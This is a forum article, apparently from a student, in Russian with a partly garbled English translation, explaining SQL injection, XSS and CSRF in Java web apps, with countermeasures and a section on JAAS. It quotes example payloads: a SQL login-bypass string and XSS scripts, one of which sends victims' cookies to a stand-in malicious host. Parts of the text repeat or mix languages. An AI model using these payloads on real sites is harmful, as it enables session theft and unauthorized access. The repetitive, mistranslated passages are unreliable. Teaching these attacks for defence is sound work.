• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обнаружение, эксплуатация и предотвращение уязвимостей веб-безопасности

p1t

RAID-массив
Пользователь
Регистрация
05.04.2023
Сообщения
63
Реакции
113
Автор: p1t
Источник: https://xss.pro


здравствуйте, я принес вам статью, которую я сделал, когда учился в университете, надеюсь, вы понимаете, что я не русский, надеюсь, вы понимаете ошибки и понимаете мою добрую волю перевести ее, не будучи русским, чтобы она дошла до всех людей xss.

Сначала краткое введение:

Java/Javascript - один из языков программирования, наиболее широко используемых компаниями для разработки управленческих сервисов с хорошей доступностью и масштабируемостью.

В данном отчете будут рассмотрены наиболее важные ошибки безопасности, которые влияют на сервисы и/или программы, созданные с использованием языка программирования Java/Javascript, а также протоколы или инструменты, предоставляемые самим языком для их предотвращения/контроля.

Предоставить информацию об основных векторах атак злоумышленников и необходимые рекомендации и критерии, которые следует учитывать для более безопасной разработки веб-приложений на Java.

Предложение протоколов безопасности для различных этапов разработки веб-приложения, создаваемого на Java.

Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java. Проектирование и разработка веб-сервисов с использованием J2EE с использованием библиотек и инструментов, которые можно найти в Java.

Внедрение систем шифрования для хранения данных в нашей базе данных в случае ошибки безопасности. в случае новой ошибки безопасности, чтобы не подвергать ее риску.

Инъекционные атаки SQL или LDAP

Инъекция кода является одним из наиболее известных и широко используемых сообществом векторов атак, таких как SQL-инъекция или LDAP, причем sql является наиболее известным и опасным, поскольку позволяет злоумышленнику получить доступ ко всей нашей базе данных, но как она работает и как ее предотвратить.

SQL-инъекция заключается во вставке SQL-кода в машину жертвы через обычные входные данные, предоставляемые сервером, например, в такие поля, как имя пользователя и пароль, которые хранятся в SQL-базах данных, используемых Java, с целью получения доступа к базе данных для получения или удаления всех хранящихся в ней учетных данных. учетные данные, хранящиеся в базе данных.

Яркий пример SQL-инъекции основан на передаче в качестве входного параметра кода или команды в обход систем проверки сервера для предоставления или запрета доступа.

1682932984949.png

Изображение 1. Java-код, уязвимый для SQL-инъекции

Изображение 1, показывает один из примеров множества, уязвимых для атаки SQL-инъекции, с использованием команды Атака SQL-инъекции, используя команду <') OR '1'='1'> в качестве имени пользователя и пароля, дала бы нам доступ к серверу, так как пароля даст нам доступ к серверу, так как условие выражения всегда истинно. всегда истинно.

Если параметры имени пользователя и пароля не проверены должным образом, злоумышленник может получить доступ, используя только эту команду. Атакующий мог бы получить доступ, используя только эту команду, но этот тип атаки можно предотвратить, так как мы собираемся этот тип атаки, как мы увидим в следующем разделе.

Как предотвратить это

Контрмеры для предотвращения этого типа атак очень хорошо определены в связи с частым использованием и важностью защиты базы данных нашей организации.

Использование параметризованных запросов для разделения проверки входных параметров, введенных пользователем, для этого используются предварительно составленные предложения, в которых указывается, какие параметры будут введены, таким образом, можно указать, какой код будет выполнен и какого типа входные переменные, и таким образом предотвратить создание пользователем атаки SQL инъекции, например, введение SQL команды, которая не является ожидаемым типом (строка, целое число, дата) вызовет исключение.

На следующем изображении показано, как сгенерировать безопасный запрос на нашем сервере с помощью Prepared Statement.

1682933532693.png

Изображение 2. Код для создания sql-запроса с защитой от вторжения

Использование хранимых процедур, как правило, не может быть затронуто SQL-инъекцией. Инъекция SQL-кода.

Используйте фреймворки или инструменты, такие как Object Relational Mapping (ORM) в Java. которые предоставляют исходный код для параметризации запросов на вашем сервере.

Блокировать специальные символы, вводимые пользователем, такие как # или " или ', но я не рекомендую этого делать, так как у каждого могут быть свои специальные символы. Я не рекомендую этого делать, поскольку каждый может иметь такой пароль, какой он хочет, используя специальные символы, и есть такие способы, как те. специальные символы, и есть способы, как упомянутые выше, чтобы избежать их даже при использовании специальных символов. специальных символов.

Обеспечьте необходимые привилегии, которые потребуются обычному пользователю при подключении к нашей базе данных, разделите привилегии базы данных, разделить привилегии в коде для выбора различных типов пользователей, использующих одну и ту же базу данных. пользователей, использующих одну и ту же базу данных.

Атаки XSS (Межсайтовый скриптинг)

Этот тип уязвимости возникает, когда веб-приложение получает данные и отправляет их в браузер, не выполнив предварительно соответствующей проверки.

XSS позволяет злоумышленнику написать набор команд в веб-браузере жертвы, что может позволить злоумышленнику удаленно управлять машиной жертвы, пример кода может быть следующим:

JavaScript:
<script> alert("Это уязвимо для XSS.") </script>.

XSS атака включает использование javascript в качестве кода, но это зависит от типа атаки, так как есть очень сложные, есть достаточно надежный способ узнать, уязвимо ли наше веб-приложение к XSS атаке, тестирование того, что при отправке любого типа информации на сервер, как если бы мы были простыми пользователями, использующими клиент, вы можете увидеть, что было ранее увидеть, что было ранее отправлено на странице ответа.

Существует множество типов XSS-атак, как упоминалось выше, но из них 3 являются наиболее известными и наиболее используемыми. Но мы можем выделить 3 из них, поскольку они наиболее известны и наиболее часто используются, поэтому наш веб-сервер должен быть защищен от этих основных типов атак поэтому наш веб-сервер должен быть защищен от этих основных типов атак:

Отраженный XSS: Представьте, что на сайте есть поле поиска, которое отображает поисковые запросы в результатах, но не проверяет и не экранирует специальные символы должным образом. Злоумышленник может создать вредоносную ссылку, которая включает в поисковый запрос сценарий, например :

Код:
http://www.example.com/search?term=<script>alert('XSS-атака')</script>

Если пользователь щелкнет по этой ссылке, скрипт запустится в его браузере, отобразив предупреждение с сообщением "XSS-атака". Злоумышленник мог использовать более вредоносный скрипт для кражи информации или выполнения действий от имени пользователя.

Хранимый XSS: Предположим, что сайт позволяет пользователям оставлять комментарии в блоге, но не проверяет и не экранирует специальные символы в содержимом комментария. Злоумышленник может опубликовать комментарий, содержащий вредоносный скрипт, такой как:

Код:
Здравствуйте, отличная статья! <script>document.location='http://www.malicious.com/?cookie=' + document.cookie;</script>

Когда другие пользователи будут читать комментарии, скрипт будет выполняться в их браузерах, отправляя их cookies на вредоносный сайт. Злоумышленник может использовать эти cookies для перехвата сеансов пользователей и получения несанкционированного доступа к их учетным записям.

XSS на основе DOM: Представьте, что веб-приложение использует JavaScript для чтения значения из URL и отображения его на странице без валидации или экранирования. Злоумышленник может манипулировать URL, чтобы включить в него вредоносный скрипт:

Код:
http://www.example.com/pag#<script>alert('DOM-based XSS attack')

Когда пользователь переходит по этому URL, скрипт выполняется в его браузере, отображая предупреждение с сообщением "DOM-based XSS attack". Как и в других примерах, злоумышленник мог использовать более вредоносный скрипт для выполнения опасных действий.

Как предотвратить это

Параметры и протоколы, которые необходимо соблюдать, чтобы наш веб-сервис не был уязвим для этого типа атак, основаны на таких методах проверки, как:

- Входная валидация: использование функций валидации и фильтрации для записей, создаваемых на веб-сервере, например, белых списков.

- Обязательная активация httponly в Интернете.

- Шифруйте выходные данные и файлы cookie.

- Фреймворки, такие как Java Server Faces, имеют библиотеки для предотвращения XSS.

- Убедитесь, что все типы данных, предоставляемых пользователем, зашифрованы правильно. правильно.

Подделка запросов (CSRF)

Подделка запросов происходит, когда злоумышленник заставляет браузер жертвы инициировать фальшивый HTTP-запрос, тем самым перехватывая сессионный cookie жертвы для веб-сервера. Таким образом, злоумышленник может генерировать недействительные запросы на машине жертвы, но браузер жертвы считает их легитимными и перехватывает необходимую злоумышленнику информацию. Среди основных причин, делающих возможным этот тип атаки, можно назвать следующие:

- Злоупотребление системой входа, поскольку подавляющее большинство сайтов полагаются на то, что после того, как пользователь аутентифицировался с помощью своих учетных данных, все сгенерированные им запросы являются действительными, и не проверяют, являются ли они запросами с машины, отличной от машины пользователя, что позволяет злоумышленнику выдавать себя за пользователя.

- Использование тегов HTML, использование тегов html означает, что злоумышленник может генерировать в них определенные команды, но с различными функциями в зависимости от намерений злоумышленника.

- Бесконтрольное использование PUT и POST для отправки информации на сервер, бесконтрольное использование этих методов для отправки информации на сервер, например, в форме, может позволить злоумышленнику перехватить эту информацию и отправить ее так, как если бы он был пользователем.

Как предотвратить это

Чтобы предотвратить создание злоумышленником поддельных HTTP-запросов на вашем сервере, рекомендуется выполнить следующие инструкции.
сервера, рекомендуется следовать ряду инструкций:

- Добавьте уникальные и зашифрованные токены.

- Использовать защищенную версию протокола HTTP с шифрованием TLS.

- Добавление в сеанс дополнительной информации помимо обязательной, как показано на рисунке 3.

1682936497261.png

Изображение 3.

- Проверяйте информацию, отправленную на веб-сервер, с помощью put и post.

- Используйте заголовки 'Referer', хотя было доказано, что они не являются 100%, но обеспечивают минимально необходимую защиту пользователя, а также предотвращают запросы к недействительным URI.
Инструменты анализа

Инструмент анализа - это не более чем программа, которая отслеживает в нашем коде любой недостаток безопасности, который мы пропустили, основываясь на рекомендациях и атаках, которые определил сам инструмент, упомянутые выше 0 дней не найдут их по причинам, которые уже были упомянуты, остальные упомянутые ошибки и многие другие в теории, если мы предупредим, что он уязвим и возможное исправление.

JASS

Служба аутентификации и авторизации Java (JAAS) была представлена как дополнительный пакет (расширение) к Java 2 SDK, Standard Edition (J2SDK), версия 1.3. JAAS была интегрирована в J2SDK 1.4.

JAAS можно использовать для двух целей.

Для аутентификации пользователей, чтобы надежно и безопасно определить, кто в данный момент выполняет Java-код, независимо от того, выполняется ли код как приложение, апплет, боб или сервлет.

Для авторизации пользователей, чтобы убедиться, что они обладают необходимыми правами контроля доступа (разрешениями) для выполнения выполняемых действий.

JAAS реализует Java-версию стандартного подключаемого модуля аутентификации (Pluggable Authentication).
Module (PAM).

Традиционно Java обеспечивала контроль доступа на основе исходных текстов (контроль доступа на основе того, откуда пришел код и кто его подписал). Однако в ней отсутствовала возможность дополнительно применять контроль доступа на основе того, кто выполняет код. JAAS предоставляет основу, которая дополняет архитектуру безопасности Java такой поддержкой.

Аутентификация в JAAS выполняется в подключаемой манере. Это позволяет приложениям оставаться независимыми от базовых технологий аутентификации.
базовых технологий аутентификации. Новые или обновленные технологии аутентификации могут подключаться к приложению без необходимости модификации самого приложения. Приложения включают процесс аутентификации путем инстанцирования объекта LoginContext, который, в свою очередь, ссылается на Configuration для определения технологии(ий) аутентификации, или LoginModule, который будет использоваться для выполнения аутентификации. Типичные модули входа могут запрашивать и проверять имя пользователя и пароль. Другие могут считывать и проверять образец голоса или отпечаток пальца.

Una vez que se autentica el código de ejecución del usuario o del servicio, el componente de autorización JAAS funciona junto con el modelo de control de acceso central de Java SE para proteger el acceso a los recursos confidenciales. A diferencia de J2SDK 1.3 y versiones anteriores, donde las decisiones de control de acceso se basan únicamente en la ubicación del código y los firmantes del código (CodeSource), en J2SDK 1.4, las decisiones de control de acceso se basan tanto en el CodeSource del código ejecutable como en el usuario o servicio que ejecuta el código. que está representado por un objeto Sujeto. El objeto Asunto es actualizado por LoginModule con los principales y las credenciales apropiados en la autenticación exitosa.

1682937331852.png

Изображение 4 Диаграмма работы JAAS.

Рекомендации

Эти ссылки содержат общее руководство по технологиям, рассматриваемым в этих разделах, и конкретные рекомендации, которые они содержат.

В этом разделе обсуждаются общие проблемы, с которыми сталкиваются веб-разработчики при создании безопасных веб-приложений, независимо от того, используют ли они

Java, pHp, AJAX или другие веб-языки и/или технологии.

- Аутентификация

Вопросы аутентификации, связанные с безопасными веб-приложениями, такие как базовая аутентификация/аутентификация с помощью дайджеста, аутентификация на основе форм, интегрированная аутентификация (SSO) и т.д.

- Авторизация

Вопросы аутентификации, гарантирующие, что пользователь имеет соответствующие привилегии для просмотра ресурса. Сюда входят такие вопросы, как принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.

Принцип наименьших привилегий, маркеры авторизации на стороне клиента и т.д.

- Управление сеансами

Аутентифицированные пользователи имеют надежную и криптографически защищенную связь со своей сессией, приложения применяют проверку авторизации, а приложения избегают или предотвращают распространенные веб-атаки, такие как повторное воспроизведение, подделка запросов и атака "человек посередине".

подделка запросов и "человек посередине".

- Валидация данных

Приложения устойчивы к любым формам входных данных, полученных от пользователя, инфраструктуры, внешних объектов или баз данных.

- Внедрение интерпретаторов

Решение проблем приложений для обеспечения их защищенности от известных атак подмены параметров в распространенных интерпретаторах.

- Обработка ошибок, аудит и протоколирование

Разработка хорошо написанных приложений, которые имеют двойное назначение - журналы и трассировки активности для аудита и мониторинга. Это позволяет легко отследить

транзакцию без чрезмерных усилий или доступа к системе. Они должны обладать способностью легко отслеживать или выявлять возможное мошенничество или аномалии от начала до конца.

- Распределенные вычисления

Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от: Синхронизация и удаленные сервисы для веб-приложений, защита приложений от

приложения против:

- условий гонки по времени проверки и по времени использования.

- проблемы распределенной синхронизации

- общие проблемы мультипрограммирования, многопоточности и распределенной безопасности.


- Переполнение буфера

Решает такие проблемы, как:

- Приложения не подвергаются воздействию неисправных компонентов.

- Приложения создают как можно меньше переполнений буфера.

- Разработчикам рекомендуется использовать языки и механизмы, которые относительно невосприимчивы к переполнению буфера.

- Административные интерфейсы

Функции уровня администратора адекватно отделены от деятельности пользователей, которые не могут получить доступ или использовать функции администратора, и обеспечивают необходимый аудит и отслеживаемость административных функций.

- Криптография

Обеспечьте безопасное использование криптографии для защиты конфиденциальности и целостности конфиденциальных пользовательских данных.

- Конфигурация

Создание безопасных веб-приложений, максимально хорошо построенных и максимально защищенных.

- Обеспечение качества программного обеспечения (QA)

Согласно руководству OWASP, "целью обеспечения качества программного обеспечения является подтверждение того, что конфиденциальность и целостность частных данных пользователей защищены в процессе обработки, хранения и передачи данных. Тестирование QA также должно подтвердить, что приложение не может быть взломано, разрушено, захвачено, перегружено или заблокировано атаками типа "отказ в обслуживании" в пределах приемлемого уровня риска". Это подразумевает, что приемлемые уровни риска и сценарии моделирования угроз устанавливаются заранее, чтобы разработчики и инженеры QA знали, чего ожидать и над чем работать.

1682937624062.png



Ссылки



Модераторы и форумчане не стесняются редактировать и перемещать тему, если что-то не так или что-то плохо переведено.

Как я уже говорил, я не русский, я сделал это со всей добросовестностью и со всем возможным желанием.
 
Последнее редактирование модератором:
English Version

Author: p1t
Source: https://xss.pro



hello i brought you an article i made when i was at university i hope you understand i am not russian i hope you understand the mistakes and understand my good will to translate it without being russian so that it reaches all people xss .

First a brief introduction:


Java/Javascript is one of the programming languages most widely used by companies to develop management services with good accessibility and scalability.

This report will cover the most important security bugs that affect services and/or programs created using the Java/Javascript programming language, as well as the protocols or tools provided by the language itself to prevent/control them.

Provide information on the main attack vectors of attackers and the necessary recommendations and criteria that should be considered for the more secure development of web applications in Java.

Suggestion of security protocols for various stages of development of a web application created in Java.

Designing and developing web services using J2EE using libraries and tools found in Java. Designing and developing web services using J2EE using libraries and tools found in Java.

Implementation of encryption systems to store data in our database in case of a security error. in the event of a new security bug, so as not to put it at risk.

SQL or LDAP injection attacks

Code injection is one of the most well-known and widely used attack vectors by the community such as SQL injection or LDAP, with sql being the most famous and dangerous as it allows an attacker to access our entire database, but how does it work and how to prevent it.

SQL injection consists of injecting SQL into the victim's machine through normal server-supplied inputs, such as username and password fields stored in SQL databases used by Java, in order to gain access to the database to get or delete all credentials stored in it. credentials stored in the database.

A striking example of SQL injection is based on passing a code or command as an input parameter, bypassing the server's verification systems to grant or deny access.


https://xss.pro/attachments/55717/

Image 1. Java code vulnerable to SQL injection

Image 1, shows one example of a set vulnerable to an SQL injection attack, using the SQL injection attack command, using the command <') OR '1'='1'> as the username and password, would give us access to server, since the password will give us access to the server, since the condition of the expression is always true. always true.

If the username and password settings are not properly verified, an attacker could gain access using just this command. An attacker could gain access using just this command, but this type of attack can be prevented since we're going for this type of attack, as we'll see in the next section.

How to prevent it

Countermeasures to prevent this type of attack are very well defined due to the frequent use and importance of protecting our organization's database.

Using parameterized queries to separate validation of input parameters entered by the user, this uses pre-written sentences that indicate which parameters will be entered, thus it is possible to specify what code will be executed and what type of input variables, and thus prevent the user from creating SQL injection attacks, for example, typing a SQL command that is not of the expected type (string, integer, date) will throw an exception.

The following image shows how to generate a secure request on our server using a Prepared Statement.


https://xss.pro/attachments/55719/

Image 2. Code to create an anti-intrusion sql query

The use of stored procedures generally cannot be affected by SQL injection. SQL injection.

Use frameworks or tools such as Object Relational Mapping (ORM) in Java. which provide source code for query parameterization on your server.

Block special characters entered by the user, such as # or " or ', but I do not recommend doing this, since everyone can have their own special characters. I do not recommend doing this, since everyone can have the password they want using special characters, and there are ways like those special characters, and there are ways like those mentioned above to escape them even when using special characters.

Provide necessary privileges that a normal user will need when connecting to our database, separate database privileges, separate privileges in code to select different types of users using the same database. users using the same database.

XSS (Website Scripting) Attacks

This type of vulnerability occurs when a web application receives data and sends it to the browser without first performing the appropriate validation.

XSS allows an attacker to write a set of commands in the victim's web browser, which can allow the attacker to remotely control the victim's machine, an example code could be as follows:



JavaScript:


<script> alert("Это уязвимо для XSS.") </script>.


XSS attack involves using javascript as code, but it depends on the type of attack, as there are very complex, there is a fairly reliable way to find out if our web application is vulnerable to XSS attack, testing that when sending any type of information to the server , as if we were simple users using the client, you can see what was previously posted on the response page .

There are many types of XSS attacks as mentioned above, but of these, 3 are the best known and most used. But we can highlight 3 of them as they are the best known and most commonly used so our web server needs to be protected from these main types of attacks so our web server needs to be protected from these main types of attacks:

Reflected XSS : Imagine a site has a search box that displays search terms in the results, but doesn't validate or escape special characters properly. An attacker can create a malicious link that includes a script in the search query, such as:



Code:


http://www.example.com/search?term=<script>alert('XSS-атака')</script>


If the user clicks on this link, the script will run in their browser, displaying a warning with the message "XSS attack". The attacker could use a more malicious script to steal information or perform actions on behalf of the user.

Persistent XSS : Let's say the site allows users to post comments on a blog, but doesn't validate or escape special characters in comment content. An attacker can post a comment containing malicious script such as:



Code:


Здравствуйте, отличная статья! <script>document.location='http://www.malicious.com/?cookie=' + document.cookie;</script>


When other users read the comments, the script will be executed in their browsers, sending their cookies to the malicious site. An attacker can use these cookies to hijack user sessions and gain unauthorized access to their accounts.

XSS на основе DOM: Представьте, что веб-приложение использует JavaScript для чтения значения из URL и отображения его на странице без валидации или экранирования. Злоумышленник может манипулировать URL, чтобы включить в него вредоносный скрипт:



Код:


http://www.example.com/pag#<script>alert('DOM-based XSS attack')

When the user accesses this URL, the script is executed in their browser, displaying a warning with the message "DOM-based XSS attack". As in other examples, the attacker could have used a more malicious script to perform dangerous actions.

How to prevent it

The parameters and protocols that need to be followed so that our web service is not vulnerable to this type of attack are based on verification methods such as:

- Input validation: use validation and filtering functions for entries created on the web server, such as whitelists.

- Mandatory httponly activation on the Internet.

- Encrypt output and cookies.

- Frameworks like Java Server Faces have libraries to prevent XSS.

- Make sure that all types of data provided by the user are encrypted correctly. Right.

Request Forgery (CSRF)

Request forgery occurs when an attacker causes the victim's browser to initiate a fake HTTP request, thereby intercepting the victim's session cookie for the web server. Thus, an attacker can generate invalid requests on the victim's machine, but the victim's browser considers them legitimate and intercepts the information the attacker needs. Among the main reasons that make this type of attack possible are the following:

- Abuse of the login system, since the vast majority of sites rely on the fact that once the user has authenticated with their credentials, all requests generated by them are valid, and do not check if they are requests from a machine other than the user's machine, which allows an attacker to impersonate a user.

- The use of HTML tags, the use of html tags means that the attacker can generate certain commands in them, but with different functions depending on the attacker's intentions.

- The uncontrolled use of PUT and POST to send information to the server, the uncontrolled use of these methods to send information to the server, for example in a form, can allow an attacker to intercept this information and send it as if he were a user.

How to prevent it

To prevent an attacker from making fake HTTP requests on your server, it is recommended that you follow the instructions below.
server, it is recommended to follow a series of instructions:

- Add unique and encrypted tokens.

- Use a secure version of the HTTP protocol with TLS encryption.

- Adding additional information to the session in addition to the required information, as shown in Figure 3.

https://xss.pro/attachments/55723/

Image 3.

- Validate the information sent to the web server using put and post.

- Use 'Referer' headers, while not 100% proven to provide the minimum necessary user protection, and also prevent requests for invalid URIs.
Analysis Tools

The analysis tool is nothing more than a program that monitors in our code for any security flaw that we missed, based on the recommendations and attacks that the tool itself identified, mentioned above 0 days will not find them for reasons that have already been mentioned, the rest mentioned bugs and many more in theory if we warn that it is vulnerable and a possible fix.

JASS

The Java Authentication and Authorization Service (JAAS) was introduced as an add-on package (extension) to the Java 2 SDK, Standard Edition (J2SDK), version 1.3. JAAS has been integrated into J2SDK 1.4.

JAAS can be used for two purposes.

Для аутентификации пользователей, чтобы надежно и безопасно определить, кто в данный момент выполняет Java-код, независимо от того, выполняется ли код как приложение, апплет, боб или сервлет.

To authorize users to ensure that they have the necessary access control rights (permissions) to perform the actions to be performed.

JAAS implements the Java version of the standard Pluggable Authentication.
Module (PAM).

Traditionally, Java provided source-based access control (access control based on where the code came from and who signed it). However, it lacked the ability to additionally apply access control based on who is executing the code. JAAS provides a framework that complements the Java security architecture with this support.

Authentication in JAAS is performed in an pluggable manner. This allows applications to remain independent of the underlying authentication technologies.
basic authentication technologies. New or updated authentication technologies can connect to the application without the need to modify the application itself. Applications enable the authentication process by instantiating a LoginContext object, which in turn refers to a Configuration to define the authentication technology(s) or LoginModule to be used to perform authentication. Typical login modules may require and validate a username and password. Others can read and verify a voice sample or fingerprint.

Once the user or service execution code is authenticated, the JAAS authorization component works in conjunction with the Java SE core access control model to protect access to sensitive resources. Unlike J2SDK 1.3 and earlier, where access control decisions are based solely on code location and code signers (CodeSource), in J2SDK 1.4, access control decisions are based on both the CodeSource of the executable code as in the user or service that runs the code. which is represented by a Subject object. The Subject object is updated by the LoginModule with the appropriate principals and credentials on successful authentication.

https://xss.pro/attachments/55724/

Image 4 Diagram of JAAS operation .

Recommendations

These links provide general guidance on the technologies covered in these sections and the specific recommendations they contain.

This section discusses the common challenges web developers face when building secure web applications, whether or not they use

Java, pHp, AJAX, or other web languages and/or technologies.

- Authentication

Authentication issues related to secure web applications such as basic/digest authentication, forms-based authentication, integrated authentication (SSO), etc.

- Authorization

Authentication questions to ensure that the user has the appropriate privileges to view the resource. This includes issues such as the principle of least privilege, client-side authorization tokens, and so on.

The principle of least privilege, client-side authorization tokens, etc.

- Session management

Authenticated users have a secure and cryptographically secure connection to their session, applications apply authorization checks, and applications avoid or prevent common web attacks such as replay, request forgery, and man-in-the-middle attacks.

request forgery and "man in the middle".

- Data validation

Applications are resilient to any form of input from the user, infrastructure, external entities, or databases.

- Implementation of interpreters

Solve application problems to make them secure against known parameter spoofing attacks in common interpreters.

- Error handling, auditing and logging

Development of well-written applications that have a dual purpose - logs and activity traces for auditing and monitoring. This makes it easy to track

transaction without undue effort or access to the system. They must be able to easily track or identify potential fraud or anomalies from start to finish.

- Distributed computing

Synchronization and remote services for web applications, protection of applications from: Synchronization and remote services for web applications, protection of applications from: Synchronization and remote services for web applications, protection of applications from

applications against:

- race conditions on time of check and on time of use.

- distributed synchronization problems

- general problems of multiprogramming, multithreading and distributed security.


- Buffer overflow

Solves problems such as:

- Applications are not affected by faulty components.

- Applications generate as few buffer overflows as possible.

- Developers are encouraged to use languages and mechanisms that are relatively immune to buffer overflows.

- Administrative interfaces

Administrator-level functions are adequately separated from the activities of users who cannot access or use administrator functions, and provide the necessary auditing and traceability of administrative functions.

- Cryptography

Ensure the secure use of cryptography to protect the confidentiality and integrity of sensitive user data.

- Configuration

Building secure web applications that are as well built and as secure as possible.

- Software Quality Assurance (QA)

According to the OWASP guidelines, "The goal of software quality assurance is to confirm that the confidentiality and integrity of users' private data is protected during data processing, storage, and transmission. QA testing must also confirm that the application cannot be hacked, destroyed, hijacked, overloaded, or blocked by denial-of-service attacks within an acceptable level of risk." This implies that acceptable risk levels and threat modeling scenarios are set up in advance so that developers and QA engineers know what to expect and what to work on.

https://xss.pro/attachments/55725/



Links


Standard Algorithm Name Documentation

Java Cryptography Architecture (JCA) Reference Guide

Documentation
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх